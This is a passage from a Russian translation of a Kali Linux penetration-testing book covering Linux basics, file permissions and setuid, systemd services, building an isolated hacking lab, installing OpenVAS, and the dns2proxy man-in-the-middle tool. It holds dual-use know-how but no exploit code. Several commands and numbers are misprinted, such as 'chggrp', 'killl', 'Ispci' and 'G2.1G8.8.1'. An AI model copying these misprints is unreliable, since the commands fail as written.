4.6 Файловая система Kali ◾ /home/: личные файлы пользователя. ◾ /lib/: библиотека. ◾ /media/*: точка монтирования для съемных устройств — CD-ROM, USBнакопителей и т. д. ◾ /mnt/: временная точка монтирования. ◾ /opt/: дополнительные приложения, предоставляемые сторонними производителями. ◾ /root/: корневой каталог администратора (root). ◾ /run/: данные времени выполнения: они переменные и не сохраняются после перезапуска. ◾ /sbin/: системные программы. ◾ /srv/: данные, используемые серверами в этой системе. ◾ /tmp/: временные файлы. ◾ /usr/: приложения — каталог разделен на следующие директории, bin, sbin, lib, и следует той же логике, что и корневой каталог. Кроме того, каталог /usr/share/ содержит данные, не зависящие от архитектуры. Каталог /usr/ local/ используется администратором для ручной установки программ без перезаписи файлов, используемых системой пакетов (dpkg). ◾ var/: переменные данные, которые обрабатывает Daemon 13. Сюда входят файлы журналов, очереди, спулы и кэши. ◾ /proc/ и /sys/: специфичны для ядер Linux (и не являются частью FHS). Они необходимы ядру для экспорта данных в пространство пользователя. 4.6.2 Домашний каталог пользователя Домашний каталог пользователя не стандартизирован, однако существуют определенные нестандартные правила. Он обозначается символом (~). Эта информация особенно полезна, поскольку интерпретатор команд автоматически заменяет символ на соответствующий каталог, который хранится в переменной окружения HOME и обычно имеет значение /home/user/. Файлы конфигурации приложений, как правило, располагаются в домашнем каталоге пользователя. Их имена начинаются с точки. Отметим, что файлы, начинающиеся с точки, по умолчанию скрыты. Для того чтобы их отобразить, необходимо использовать параметр -a в команде ls, то есть ls -a. Есть также некоторые программы, использующие несколько файлов конфигурации в одном каталоге (например, ~/.ssh/). Другие программы (например, браузер Firefox) также сохраняют кэш загруженных данных в своем каталоге. Это значит, что каталоги могут занимать много места для хранения. 13 Daemon или Dämon в Linux — программа, которая работает в фоновом режиме и предоставляет определенные услуги. 73
Глава 4 Основы (Kali-)Linux Файлы конфигурации, находящиеся непосредственно в домашнем каталоге пользователя, часто именуются «Dotfiles». Это соглашение существует достаточно долго, что может привести к переполнению этих каталогов. К счастью, под эгидой FreeDesktop.org, откуда возникла спецификация базового каталога XDG, также предпринимаются совместные усилия по разработке соглашения, направленного на упорядочение этих файлов и каталогов. В этой спецификации было согласовано, что конфигурационные файлы должны храниться в ~/.config; файлы кэша в ~/.cache; а файлы приложений в ~/.local (или их подкаталогах). К счастью, это соглашение учитывается все чаще. Графические рабочие столы, как правило, содержат ярлыки, которые можно использовать для отображения содержимого каталога ~/Desktop/ (или аналогичные переводы для систем, не настроенных на английский язык). 4.7 Управление правами Unix-подобные системы поддерживают несколько пользователей и групп, что позволяет управлять разрешениями. Как правило, процесс идентифицируется по пользователю, который его запустил. Этому процессу разрешено выполнять только те действия, которые разрешены его владельцу. Например, когда вы открываете файл, ядро должно проверить идентичность процесса на основе прав доступа. Система авторизации должна охватывать все системные ресурсы и устройства. Предупреждение В Unix-системе каждое устройство представлено файлом или каталогом. Этот принцип универсален для всех систем, основанных на Unix. 4.7.1 Категории и права пользователей Каждый файл и каждый каталог имеет определенные разрешения для трех категорий пользователей: ◾ Пользователь (владелец): обозначается буквой u (User). ◾ Группа владельцев: обозначается буквой g (Group). ◾ Другие (others): идентифицируются символом o. Эти три типа прав могут быть скомбинированы: ◾ Чтение (reading): обозначается как r. ◾ Написание (writing): обозначается как w. ◾ Выполнение (executing): обозначается как x (Execute). 74
4.7 Управление правами В контексте файловых систем права доступа имеют четкое определение: право на чтение предоставляет возможность просматривать содержимое файла (включая его копирование); право на запись позволяет изменять файл; право на выполнение — запускать исполняемую программу. Однако это применимо только в случае, если файл действительно является программой. Для исполняемого файла важны два определенных права: setuid и setgid (отмеченные буквой s). Следует отметить, что часто говорят о бите, так как каждое из этих булевых значений может быть представлено 0 или 1. Эти два права позволяют любому пользователю запускать программу с правами владельца или группы. Этот механизм предоставляет доступ к функциям, для которых требуется более высокий уровень полномочий, чем обычно. Поскольку setuid систематически выполняет программы с привилегиями суперпользователя, крайне важно, чтобы эта программа была безопасной и надежной. Любой пользователь, который сможет получить доступ к setuid и вызвать команду по своему выбору, может выдать себя за суперпользователя и получить полный контроль над системой. Специалисты по тестированию на проникновение регулярно ищут подобные уязвимости при проведении оценки безопасности системы, чтобы расширить свои права. Каталог не рассматривается как файл. Доступ на чтение предоставляет право просматривать содержимое (файлы и каталоги); доступ на запись позволяет создавать или удалять файлы и каталоги; право на выполнение — осуществлять поиск в каталоге и получать доступ к его содержимому (например, с помощью команды cd). Возможность перехода в каталог без доступа на чтение позволяет пользователю обращаться к известным записям по их именам. Однако он не сможет найти их, не зная точного имени и пути к ним. Указание по технике безопасности Бит setgid также применяется к каталогам. Каждому вновь созданному элементу в таком каталоге автоматически присваивается группа владельцев переданного упорядоченного каталога вместо того, чтобы наследовать основную группу создателя. Следовательно, вам не нужно менять основную группу (с помощью команды newgrp) при работе в дереве каталогов, совместно используемом несколькими пользователями с одной выделенной группой. Sticky-бит — символ t — это разрешение, которое имеет значение исключительно для каталогов. Он применяется, в частности, к временным каталогам типа /tmp/, где доступ к записям ограничен. Sticky-бит предотвращает удаление файлов, разрешая это действие только их владельцу или владельцу родительского каталога. В противном случае файлы других пользователей могут быть удалены в каталоге /tmp/. 75
Глава 4 Основы (Kali-)Linux 4.7.2 Управление правами Три команды управляют разрешениями, связанными с файлом или каталогом: ◾ chown user file: изменение владельца файла или каталога; ◾ chggrp group file: изменение группы владельцев файла или каталога; ◾ chmod rights file: изменение прав доступа к файлу или каталогу. Примечание Часто бывает нужно изменить группу файла одновременно со сменой владельца. Для этого используется специальный синтаксис: chown (изменить владельца) User: group file. Существуют два варианта представления прав. Проще всего для понимания и запоминания, вероятно, символическое отображение — уже упомянутые буквенные обозначения. Вы можете установить права доступа для каждой категории пользователей (u/g/o), явно задав их (=), добавив (+) или удалив (–). Применение формулы u=rwx g+rw o-r приведет к следующему результату. ◾ Владелец (owner) — u — получает права на чтение запись и выполнение. ◾ Группа владельцев (owner group) — g — добавляются права на чтение и запись. ◾ Остальные (other/others) — o — все остальные пользователи, не входящие в первые две группы, теряют права на чтение. Права, которые не меняются путем добавления или удаления, остаются неизменными. Буква a охватывает все три категории пользователей. Таким образом, a=rx предоставляет всем трем категориям равные права — чтение и выполнение, но не запись. В качестве альтернативы вы также можете использовать восьмеричное числовое представление. При этом каждому праву присваивается значение: 4 для чтения, 2 для записи и 1 для выполнения. Если вы суммируете три числа для каждой категории пользователей, значение будет присвоено в стандартном порядке (владелец, группа и др.). Если, например, выполнить команду chmod 754 file, будут установлены следующие права: ◾ Чтение запись и выполнение от имени владельца (так как 7 = 4 + 2 + 1). ◾ Чтение и выполнение для группы (так как 5 = 4 + 1). ◾ Доступно только для чтения для других пользователей (4 = только права на чтение). 0 обозначает отсутствие прав доступа. Следовательно, команда chmod 600 предоставляет только права на чтение и запись для владельца, а для всех 76
4.7 Управление правами остальных пользователей права отсутствуют. Наиболее распространенная комбинация прав доступа — 755 для исполняемых файлов и каталогов, а также 644 для файлов данных. Чтобы предоставить специальные права, вы можете поставить перед этим номером четвертую цифру, используя тот же принцип: биты setuid setgid и Sticky соответствуют 4 2 и 1. Команда chmod 4754 присваивает биту stud права, описанные ранее. Обратите внимание, что при использовании восьмеричной нотации для файла можно задать только все права одновременно. Вы не можете использовать это для добавления нового права, например, доступа на чтение для владельца группы, так как должны учесть существующие права и вычислить новое соответствующее числовое значение. Восьмеричное представление также используется с командой umask, которая ограничивает разрешения для вновь созданных файлов. Когда приложение создает файл, оно устанавливает начальные разрешения, зная, что система автоматически удаляет права, определенные с помощью umask. Если вы введете umask в оболочке, вы увидите маску типа 0022. Это стандартное восьмеричное представление прав, которые подлежат систематическому удалению (в данном случае права на запись для группы и других пользователей). При вводе нового восьмеричного значения команда umask изменяет маску доступа. В файле инициализации оболочки (например, ~/.bash_profile) устанавливается маска по умолчанию для текущего сеанса. Совет Иногда нужно изменить права доступа для общей файловой системы. Все вышеперечисленные команды имеют опцию -R для рекурсивной работы в подкаталогах. Различие между каталогами и файлами иногда создает проблемы с рекурсивными операциями. Поэтому буква «X» была добавлена в символическое представление прав доступа. Она представляет право на выполнение, которое применяется только к каталогам, а не к файлам, у которых его нет. Таким образом, команда chmod -R a+X добавляет права на выполнение для всех пользователей (a) ко всем подкаталогам и файлам, для которых хотя бы один пользователь уже имеет право на выполнение (даже если это только его владелец). ​​ 77
Глава 4 Основы (Kali-)Linux 4.8 Полезные команды для командной строки 4.8.1 Отображение и изменение текстовых файлов Команда cat file считывает файл и выводит его содержимое на экран терминала. Если файл слишком велик, чтобы поместиться на экране, вы можете прокручивать его страницу за страницей. Команда редактора инициирует текстовый редактор (например, Vi или Nano) и позволяет создавать, изменять и просматривать текстовые файлы. С помощью перенаправления (Redirection 14) простые файлы могут быть созданы с использованием Команды > File. В этом случае создается файл с именем file, который содержит вывод команды. Команда >> File функционирует аналогичным образом. Однако вывод команды добавляется к файлу, а не перезаписывается. File Edit View Search Terminal Help "Kali — The Hacker Operating System" Kali — The Hacker Operating System "Kali is great!" Kali — The Hacker Operating System K a l i i s g r e a t! Рис. 4.6. Перенаправление вывода команд в файл 4.8.2 Поиск файлов и внутри файлов Команда find ищет файлы в иерархии каталога в соответствии с указанными критериями. Наиболее часто используемый критерий — name filename, который позволяет искать имя файла. Вы также можете использовать общие подстановочные знаки типа «*» в имени файла для поиска. Рис. 4.7. Команда find с критерием поиска -name в различных вариантах 14 78 При перенаправлении вывод, который команда обычно выводит на экран, записывается в файл.
4.8 Полезные команды для командной строки С помощью файла выражения grep вы ищете содержимое файла и извлекаете строки, соответствующие регулярному выражению. Если вы хотите выполнить рекурсивный поиск файлов во всех каталогах, используйте опцию -r. Таким образом, вы можете искать файл, если знаете только часть содержимого. 4.8.3 Управление процессами Чтобы перечислить все выполняемые в данный момент процессы, используйте команду ps aux. Отображение PID (идентификатора процесса) позволит вам идентифицировать их. Если вы знаете PID процесса, вы можете отправить ему сигнал с помощью команды killl -signal PID, чтобы немедленно его завершить — при условии, что вы владелец процесса. Существует несколько сигналов. Чаще всего используются TERM — запрос на корректное завершение процесса — и KILL — для немедленного завершения процесса. Интерпретатор команд также может выполнять программы в фоновом режиме, если за командой следует «&». С помощью символа «и» вы можете сразу же восстановить контроль над оболочкой, даже если команда все еще выполняется: она будет скрыта как фоновый процесс. Используйте команду jobs, чтобы перечислить все процессы, запущенные в фоновом режиме. Если ввести fg % job-number, команда выведет задание на передний план. Если команда выполняется на переднем плане (либо потому, что она началась нормально, либо была возвращена на передний план с помощью fg), используйте сочетание клавиш (Ctrl)+(Z), чтобы приостановить процесс и вернуть контроль над терминалом. Затем процесс можно перезапустить в фоновом режиме с помощью команды bg% job-number. 4.8.4 Вызов системной информации и журналов Команда free выводит информацию о памяти. Команда disk free (df) сообщает о свободном пространстве на каждом жестком диске, подключенном к системе. Опция -h (читаемая человеком) преобразует размер в более удобную единицу измерения (обычно Мб или Гб). Аналогичным образом команда free поддерживает опции -m и -g, отображая данные в мегабайтах или гигабайтах. 79
Глава 4 Основы (Kali-)Linux Рис. 4.8. Команды free и disk free (df) Команда id показывает идентификатор пользователя, выполняющего сеанс, и список групп, к которым он принадлежит. Поскольку доступ к некоторым файлам и устройствам может быть ограничен только для членов определенных групп, проверка доступных групповых принадлежностей может быть полезна. Команда uname -a возвращает одну строку, содержащую имя ядра (Linux), имя хоста, выпуск и версию ядра, тип машины (архитектурная строка, например, X8G_G4) и имя ОС (GNU/Linux). Результаты выполнения этой команды рекомендуется включать в отчеты об ошибках: они точно определяют используемое ядро и аппаратную платформу, на которой оно функционирует. Данные команды предоставляют информацию о времени выполнения. Однако для полного понимания происходящего на компьютере необходимо собрать журналы для анализа. Прежде всего ядро отправляет сообщения, которые сохраняются в кольцевом буфере, когда происходит какое либо значимое событие (например, подключение нового USB-устройства, сбой жесткого диска или первичное аппаратное обнаружение во время загрузки). Вы можете получить журналы ядра с помощью команды dmesg. ‑ Журнал Systemd 15 также хранит несколько протоколов (вывод stdout/stderr daemon, сообщения системного журнала, журналы ядра) и упрощает их запрос с помощью journalctl (инструмент для просмотра журналов). Без аргументов все доступные протоколы отображаются в хронологическом порядке. Опция -r изменяет порядок вывода сообщений, обеспечивая отображение новых записей в первую очередь. Функция -f обеспечивает непрерывное сохранение новых записей журналов, добавляя их к базе данных. Опция -u позволяет ограничить вывод сообщений конкретным блоком системы (например, journalctl -u ssh.service). 15 80 Systemd — это фоновый процесс, который запускается первым и используется для запуска, мониторинга и завершения других процессов.
4.8 Полезные команды для командной строки 4.8.5 Распознавание аппаратного обеспечения Ядро операционной системы хранит обширную информацию об обнаруженном оборудовании в виртуальных файловых системах /proc/ и /sys/. Несколько инструментов обобщают эти данные. К ним относятся: ◾ Ispci (в пакете pciutils), который перечисляет устройства PCI. ◾ Isusb (в пакете usbutils), который перечисляет устройства USB. ◾ Ispcmcia (в пакете pcmciautils), который перечисляет карты PCMCIA. Эти инструменты полезны для определения точной модели устройства, чтобы осуществлять более корректный поиск в интернете и получать более релевантные результаты. Инструменты pciutils и usbutils уже включены в базовую систему Kali. Однако перед их использованием необходимо установить pcmciautils (apt install pcmciautils). File Edit View Search Terminal Help Рис. 4.9. Пример информации, предоставляемой lspci и lssub С использованием этих инструментов опция -v предоставляет значительно более детализированную (хотя и обычно не требуемую) информацию. Команда lsdev (в пакете procinfo — предварительно необходимо установить с помощью apt-get install procinfo) перечисляет коммуникационные ресурсы, используемые устройствами. Инструмент lshw (устанавливается с помощью apt-get install lshw) — комбинация вышеуказанных инструментов, которая отображает описание найденного оборудования иерархическим образом. Полное издание lshw следует приложить к любому отчету по вопросам аппаратной поддержки. 81
Глава 4 Основы (Kali-)Linux 4.9 Службы Службы — это программы, которые автоматически запускаются при старте компьютера и ожидают выполнения задач в фоновом режиме. Часто они не имеют графического интерфейса и функционируют без участия пользователя. К наиболее важным сервисам относятся веб-серверы, почтовые серверы и серверы баз данных. Аппаратное распознавание и автоматическая интеграция носителей данных, таких как USB-накопители, также осуществляют сервисы. Различают два вида служб: ◾ Внутренние задачи, связанные или близкие к аппаратному обеспечению для запуска системы, также называются системными сервисами. Они начинаются с процедуры Init. ◾ Службы, установленные пользователем, включая все серверные услуги. В IT-сфере термин «daemon» часто используется для обозначения фоновых процессов. Поэтому буква d часто встречается в конце названий программ, например, в серверном компоненте sshd от SSH. Некоторые инструменты, применяемые для тестирования на проникновение, такие как OpenVAS, также используют сервисы, доступ к которым можно получить через определенный порт. 4.9.1 Начальные системы Система инициализации обеспечивает упорядоченный запуск и остановку служб. Это первый запускаемый процесс, поэтому у него идентификатор процесса (ID) 1. 4.9.2 Запуск и остановка служб Команда systemctl может использоваться для запуска и остановки служб в Kali Linux (а также во многих других дистрибутивах Linux на базе Debian или Ubuntu). Для тестирования на проникновение или взлом мы уже применяем пользователя с привилегированными правами доступа в терминале. Так как мы сразу вызываем sudo su в оболочке, нам не нужно начинать каждую команду с sudo. Полная команда выглядит следующим образом: sudo systemctl start [BEFEHL} [DIENST[.service]] sudo systemctl stop [BEFEHL} [DIENST[.service]] 4.9.3 Поиск и хранение сервисов Файлы служб обычно располагаются в следующих каталогах: /etc/systemd/ system (пользовательские) или /lib/systemd/system/ (системные). В идеале 82
4.10 Резюме имя скрипта должно отражать, какая служба за ним стоит. Если это не так, то единственный вариант — открыть соответствующий скрипт в редакторе. 4.9.4 Деактивация служб Kali Linux и другие хакерские ОС оптимизированы для запуска только необходимых служб. Если вы по неосторожности отключите здесь важные сервисы, это может привести к тому, что система перестанет быть пригодной для использования. Прежде чем отключить услугу, вы должны выяснить, какие именно последствия это может иметь. Служба, которую вы остановили, будет перезапущена при следующей перезагрузке системы. sudo systemctl disable [BEFEHL} [DIENST[.service]] Обратите внимание, что служба отключается не сразу, а только при следующем перезапуске системы. Повторно активировать ее можно с помощью команды enable. 4.10 Резюме В главе мы рассмотрели ключевые основы ОС Linux. Вы ознакомились с определением Linux, его способами управления аппаратным обеспечением, организацией файлов и каталогов, а также механизмами управления процессами. Кроме того, вы изучили командную строку, которая может быть использована для администрирования систем на базе Linux. Linux — это мощная и гибкая ОС, которую можно использовать на самых разных устройствах. Для того чтобы эффективно использовать Linux, важно понимать основные понятия, которые я предоставил в этой главе.
Глава 5 Начало работы и создание хакерской лаборатории с Kali Linux 5.1 Первый шаг с Kali Linux ­ Независимо от того, запускается ли Kali Linux на компьютере, виртуальной машине или Live-CD (или USB-накопителе), после загрузки системы отображается экран входа. Стандартный пользователь 16 — kali, стандартный пароль kali, поэтому его легко запомнить. После входа в систему автоматически загружается графический интерфейс пользователя — XFCE 17 для стандартной установки. В книге рассматриваются программы, которые выполняются терминалом (командной строкой). Для некоторых из этих инструментов также доступен графический пользовательский интерфейс, который можно установить позднее. Тем не менее лучше использовать инструменты в терминале: есть вероятность, что графический пользовательский интерфейс больше не будет поддерживаться в будущих версиях или будет доступен только в репозиториях. Таким образом, терминал — важный инструмент для тестирования на проникновение. Чтобы добиться успеха в роли тестировщика на проникновение, необходимо выполнить определенные конфигурации и настройки в Kali (или в используемой системе). В этой книге изложены ключевые изменения, которые следует учитывать. Если у вас нет опыта работы с Linux, настоятельно рекомендую ознакомиться с системой, используемой за пределами этой книги. Для большинства систем также доступны специализированные руководства, которые могут быть полезны, например, «Введение в Kali Linux 18». 5.1.1 Управление сервисами в Kali Linux В Kali Linux в качестве начальной системы используется systemd: она не только отвечает за последовательность запуска, но и постоянно функционирует как полноценный менеджер сервисов для запуска и мониторинга служб. Применяется к Live-CD или готовым образам для виртуальных машин. Рабочий стол XFCE устанавливается по умолчанию, начиная с версии Kali Linux 201G.4, до этого был GNOME. Начало работы с Kali Linux — Тестирование на проникновение и этический взлом с помощью Linux (4 е издание). — Издательство mitp, автор Юрген Эбнер. ­ 16 17 ‑ 18 84
5.1 Первый шаг с Kali Linux systemd можно запрашивать и контролировать с помощью команды systemctl. Без параметров команда systemctl list-units выполняет вывод списка активных юнитов (U). При запуске состояния systemctl выходные данные — это иерархический обзор запущенных служб. Можно сразу заметить, что существует несколько типов единиц, и службы — лишь один из них. Каждый сервис представлен служебным модулем, который описывается сервисным файлом. Он обычно находится в /lib/systemd/system/ (или /run/ systemd/system/ или /etc/systemd/system/). Они перечислены в порядке возрастания, и последний имеет приоритет. Каждый файл может быть изменен другими файлами service-name.service.d/*.Conf. Это обычные текстовые файлы, формат которых напоминает знакомые *.ini из Microsoft Windows. Пары «ключ-значение» сгруппированы между заголовками. В качестве примера можно рассмотреть файл /lib/systemd/system/ssh.service (рис. 5.1). File Edit View Search Terminal Help Рис. 5.1. Файл ssh.service в текстовом редакторе Целевые единицы/юниты (Target-Units) — еще один компонент дизайна systemd. Это желаемый статус, которого вы хотите достичь в отношении активированных установок (что означает постоянное обслуживание для сервисных установок). Используются они в основном для группировки зависимостей от других единиц. Когда система запущена, юниты могут достичь default. target (который является символьной ссылкой на graphical.target и, в свою очередь, зависит от multi-user.target). Это активирует все зависимости целей во время загрузки. ­ Чтобы выразить эти зависимости для целевых юнитов, используются инструкции Wants. При этом вам не нужно редактировать сами юниты, чтобы 85
Глава 5 Начало работы и создание хакерской лаборатории с Kali Linux добавить новые зависимости. Вы также можете создать символическую ссылку, которая ссылается на зависимый юнит в каталоге “/etc/systemd/system/ target-name.target.wants/”. Именно это и делает команда “systemctl enable foo. service”. Когда вы активируете сервис, вы даете указание systemd добавить зависимость от целей, перечисленных в записи WantedBy в [Install] файла блока службы. И наоборот, systemctl disable foo.service удаляет ту же ссылку и, соответственно, зависимость. Команды enable и disable не меняют текущий статус сервисов. Они влияют только на то, что произойдет при следующем перезапуске. Если вы хотите запустить сервис немедленно, используйте команду systemctl start foo.service. Соответственно, чтобы остановить его, используйте systemctl stop foo.service. Рис. 5.2. Управление сервисами в Kali 5.1.2 Практика приводит к совершенству: создание хакерской лаборатории Этичному хакеру есть смысл создать игровую площадку для тренировок и исследований. Это позволит новичкам научиться использовать хакерские инструменты без случайных атак на несанкционированные цели и тем самым избежать уголовного преступления. Нельзя забывать, что все мы просто люди. И как бы мы ни были осторожны, мы можем совершать ошибки. Даже один неверный номер в IP-адресе может иметь серьезные последствия. Было бы не только неловко, но и наказуемо, 86
5.1 Первый шаг с Kali Linux если бы вы случайно начали атаку без разрешения ответственного за сеть лица. Например, запустили атаку G2.1G8.8.1 вместо IP-адреса 1G2.1G8.8.1. Поэтому рекомендуется создать персональную хакерскую лабораторию. Это изолированная сеть, из которой ни один трафик и ни одна попытка атаки не могут достичь внешней стороны, и никакие несанкционированные цели не могут быть атакованы. В этой среде вы можете без затруднений тестировать различные инструменты и методы. Лучше составить хакерскую лабораторию как минимум из двух компьютеров: атакующего и жертвы. Часто устанавливаются несколько компьютеровжертв, поскольку лаборатория имитирует более реалистичное изображение сети. ­ Наиболее эффективный способ надежной изоляции хакерской лаборатории — физически отключить сеть от интернета. В случае использования физических компьютеров для маршрутизации трафика потребуются кабели локальной сети и коммутаторы. Перед моделированием атаки убедитесь, что все беспроводные сетевые соединения отключены. Проведите тщательную проверку сети на наличие утечек. Однако вам необязательно создавать хакерскую лабораторию из физических компьютеров: виртуальные машины (VMs) предоставляют ряд преимуществ. 1. 2. С учетом доступной сегодня вычислительной мощности можно развернуть полноценную мини-лабораторию на одном компьютере. Конфигурации могут быть оптимизированы так, чтобы использовать минимальные ресурсы. На среднем компьютере могут одновременно функционировать две или три виртуальные машины. Вы можете развернуть сотни виртуальных машин на одном жестком диске и настроить их за считаные минуты. Каждый раз, когда вам необходимо проверить свои навыки или протестировать новый инструмент, запустите Kali Linux на атакующем компьютере и используйте виртуальную машину в качестве цели. Это обеспечит быструю смену между различными операционными системами и конфигурациями. Использование виртуальных машин в хакерской лаборатории позволяет очень легко изолировать всю систему. Просто отключите доступ компьютера к остальной сети — отсоедините сетевой кабель или отключите Wi-Fi. При назначении IP- адресов сетевым картам физический компьютер и виртуальные машины могут взаимодействовать друг с другом. При этом трафик данных от ваших атакующих действий не будет покидать компьютер. Тестирование на проникновение носит разрушительный характер. Многие инструменты и эксплойты, которые используются могут повредить системы или выключить их. Проще переустановить операционную систему или программу, чем пытаться восстановить ее. Здесь также ­ 3. 87
Глава 5 Начало работы и создание хакерской лаборатории с Kali Linux проявляется преимущество виртуальных систем, так как вы можете легко перезагрузить виртуальную машину в исходную конфигурацию 19. Это позволяет переустановить такие программы, как SQL Server или даже всю операционную систему. Мы рекомендуем применять следующие системы в качестве основы для хакерской лаборатории — в этой книге мы используем виртуальные машины: ◾ Kali Linux служит компьютером для атак. ◾ Metasploitable 20 — это виртуальная машина Linux, которая была намеренно настроена небезопасным образом. Она служит одной из целей атаки. ◾ Windows, предпочтительно Windows XP без установленных пакетов обновлений. На Metasploitable можно совершить множество атак, но в этой книге мы также будем тестировать атаки на Windows. Стандартная установка Windows XP — отличная мишень для изучения методов взлома и тестирования на проникновение. Для успешного выполнения атак предполагается, что вышеупомянутые системы доступны на одном компьютере. Сетевые подключения должны быть настроены так, чтобы все эти виртуальные компьютеры находились в одной подсети и могли взаимодействовать друг с другом. Примечание Установка виртуального компьютера с Windows XP невозможна из-за необходимости соблюдения лицензионных требований. Однако атаку, предназначенную для Windows, можно инициировать и на Metasploitable. В качестве альтернативы можно использовать вторую копию Kali, где один виртуальный экземпляр Kali будет выполнять функции атакующего компьютера, а другой — целевого. Хакерская лаборатория в Kali Linux С момента выпуска Kali-Linux 2022.3 репозиторий Kali-Repository также включает в себя испытательную лабораторию, предназначенную для упрощения процесса создания тестовой среды. В нее были добавлены два инструмента: DVWA (Damn Vulnerable Web Application — уязвимое Web-приложение) и Juice Shop (OWASP). Эти инструменты могут быть установлены как по отдельности, так и с использованием метапакета kali-linux-labs. ­ 19 20 88 ­ Все, что вам нужно сделать, — это создать точку сохранения перед тестом. Metasploitable можно бесплатно загрузить с SourceForge по адресу: http://sourceforge.net/projects/ metasploitable/
5.1 Первый шаг с Kali Linux DVWA Рис. 5.3. DVWA-Webсайт В этом пакете находится веб-приложение PHP/MySQL со множеством уязвимостей. Цель приложения — дать возможность экспертам по безопасности проверить свои навыки. Здесь вы можете попрактиковаться в использовании наиболее распространенных web-уязвимостей. Juice Shop Рис. 5.4. Juice Shop — интернет-магазин с многочисленными уязвимостями ­ Пакет также включает современное, сложное и небезопасное веб-приложение, которое можно использовать для обучения в области защиты, демонстрации осведомленности и в качестве тестового канала для инструментов безопасности. Juice Shop содержит уязвимости из полного списка OWASP, а также десятки других уязвимостей из реального мира. 89
Глава 5 Начало работы и создание хакерской лаборатории с Kali Linux 5.2 Установка инструментов и обновлений Профессионалам в области безопасности Kali предоставляет широкий спектр инструментов для тестов на проникновение. Однако стоит установить дополнительные инструменты для оптимизации рабочего процесса. Установка инструментов, доступных в репозиториях, осуществляется с помощью команды apt install <имя_пакета>. В данном разделе будет продемонстрировано, как установить дополнительные инструменты, которые будут использоваться в дальнейшем. 5.2.1 Обновление Linux (Kali) Для Linux постоянно выходят обновления. Рекомендуется обновлять его при каждом запуске. Обновление можно установить только с правами root. С помощью sudo su можно активировать привилегированный доступ к учетной записи. Для этого необходимо ввести пароль учетной записи после выполнения команды, чтобы потом не вводить пароль каждый раз для команды sudo. Чтобы выполнить обновление, необходимо ввести следующие команды: 001 sudo su 002 apt update 003 apt dist-upgrade 5.2.2 OpenVAS для анализа уязвимостей Сканирование уязвимостей — это ключевой этап тестирования на проникновение. Обновление сканера безопасности может оказать решающее влияние на возможность обнаружения уязвимостей. По умолчанию Open VAS не входит в состав Kali Linux, но его можно установить в дальнейшем. В данном разделе представлен обзор процесса настройки сканера безопасности. Настройка Kali для сканирования уязвимостей Перед началом установки OpenVAS необходимо обновить Kali. Подробные инструкции по этому процессу представлены в разделе 5.2.1. После завершения обновления установите последнюю версию OpenVAS: 004 apt install openvas Если установлена последняя версия OpenVAS, запускается программа установки для загрузки актуальных правил создания учетной записи администратора и инициализации различных служб. В зависимости от пропускной способности процесс может занять некоторое время. 90
5.2 Установка инструментов и обновлений Рис. 5.5. Установка OpenVAS После загрузки и установки файлов OpenVAS необходимо завершение процесса. Для этого введите следующую команду: 005 gvm-setup Проверка установки OpenVAS После выполнения gvm-setup рекомендуется проверить, было ли успешно установлено соединение. В настоящее время базы данных уязвимостей Open VAS пусты, поэтому их необходимо синхронизировать перед использованием (см. раздел «Обновление базы данных OpenVAS»). При вызове gvm-check-setup перед запуском OpenVAS вы заметите, что определения для SCAP и CERT в данный момент отсутствуют. Или, как в одной из моих тестовых установок, службы не запущены. ­ 006 gvm-check-setup ­ 91
Глава 5 Начало работы и создание хакерской лаборатории с Kali Linux Рис. 5.6. Проверка установки OpenVAS Запуск служб OpenVAS После настройки OpenVAS можно запустить все необходимые сервисы: 007 sudo gvm-start Log in User name Password Log in Рис. 5.7. Стартовый экран OpenVAS Теперь вызовите https://127.0.0.1:9392 в веб-браузере и примите самоподписанный SSL-сертификат. Необходимые данные доступа были созданы в маске входа в процессе установки. Их можно найти в выходных данных настройки. Обновление OpenVAS Definiton Feed При выполнении сканирования уязвимостей необходимо работать с текущими потоками данных. Поэтому не забывайте регулярно обновлять их, так как синхронизация данных NVT SCAP и CERT критически важна. Вы можете 92
5.2 Установка инструментов и обновлений увидеть, сколько лет данным вашей установки OpenVAS, в разделе «Администрация | Статус подачи». Рис. 5.8. Статус определений данных Чтобы обновить каналы, выполните следующие действия: 1. Обновление канала NVT Feed: Sudo -u _gvm — greenbone-nvt-sync 93
Глава 5 Начало работы и создание хакерской лаборатории с Kali Linux 2. Обновление SCAP Feed: greenbone-feed-sync —type SCAP 3. Обновление канала CERT: greenbone-feed-sync —type CERT 4. Обновить gvmd DATA Feed: greenbone-feed-sync —type GVMD_DATA 5.2.3 Dns2proxy Чтобы начать атаку «человек посередине (сетевой перехват)» в Kali, рекомендуется установить инструмент dsn2proxy. Он доступен для загрузки в виде ZIP-файла с GitHub (https://github.com/singe/dns2proxy). Аналогично sslstrip2 распакуйте инструмент в папку Applications, которую вы создали в папке Personal. В завершение переименуйте папку с инструментом так, чтобы она называлась dns2proxy, а не dns2proxy-master. ­
Глава 6 Введение в оценку уровня безопасности В предыдущих главах были представлены основные концепции и функции операционной системы Linux. Теперь у вас есть необходимые знания для выполнения более сложных задач. Во второй части будут описаны различные инструменты, которые вы сможете использовать для выполнения соответствующих задач на различных этапах тестирования на проникновение. В этом разделе я хотел бы познакомить вас с концепциями оценки безопасности, которые помогут вам начать работу с этичным взломом. 6.1 Что означает «безопасность», когда речь идет об информационных системах? Если вы хотите обеспечить безопасность информационной системы, вам необходимо сосредоточиться на трех основных характеристиках: ◾ Конфиденциальность. Могут ли неавторизованные пользователи получить доступ к системе или информации? ◾ Целостность. Возможно ли изменение данных или системы несанкционированным образом? ◾ Доступность. Как и когда данные становятся доступными? Эти концепции формируют триаду CIA и представляют собой ключевые элементы, на которые необходимо обратить внимание при развертывании, обслуживании или оценке системы. В некоторых случаях может потребоваться более детальное внимание к отдельному аспекту триады. Хороший пример — личный дневник. Поскольку это сокровенные мысли, конфиденциальность дневника будет для вас очень важной. Однако, если вам нужна система, которая отслеживает медицинские рецепты, целостность данных наиболее существенна. Хотя важно, чтобы другие люди не знали, какие лекарства принимает пациент, не менее важно, чтобы вы могли получить доступ к этому списку лекарств. Если третье лицо сможет изменить данные системы, это может быть опасно для жизни пациента. Изучая систему, необходимо выявить проблему и рассмотреть, к какой из трех категорий она относится, или в какой комбинации она проявляется. Это позволяет более комплексно понять и классифицировать проблему, чтобы обеспечить соответствующую реакцию. Таким образом, можно выявить уязвимости, которые влияют на один или несколько элементов CIA Triad. 95
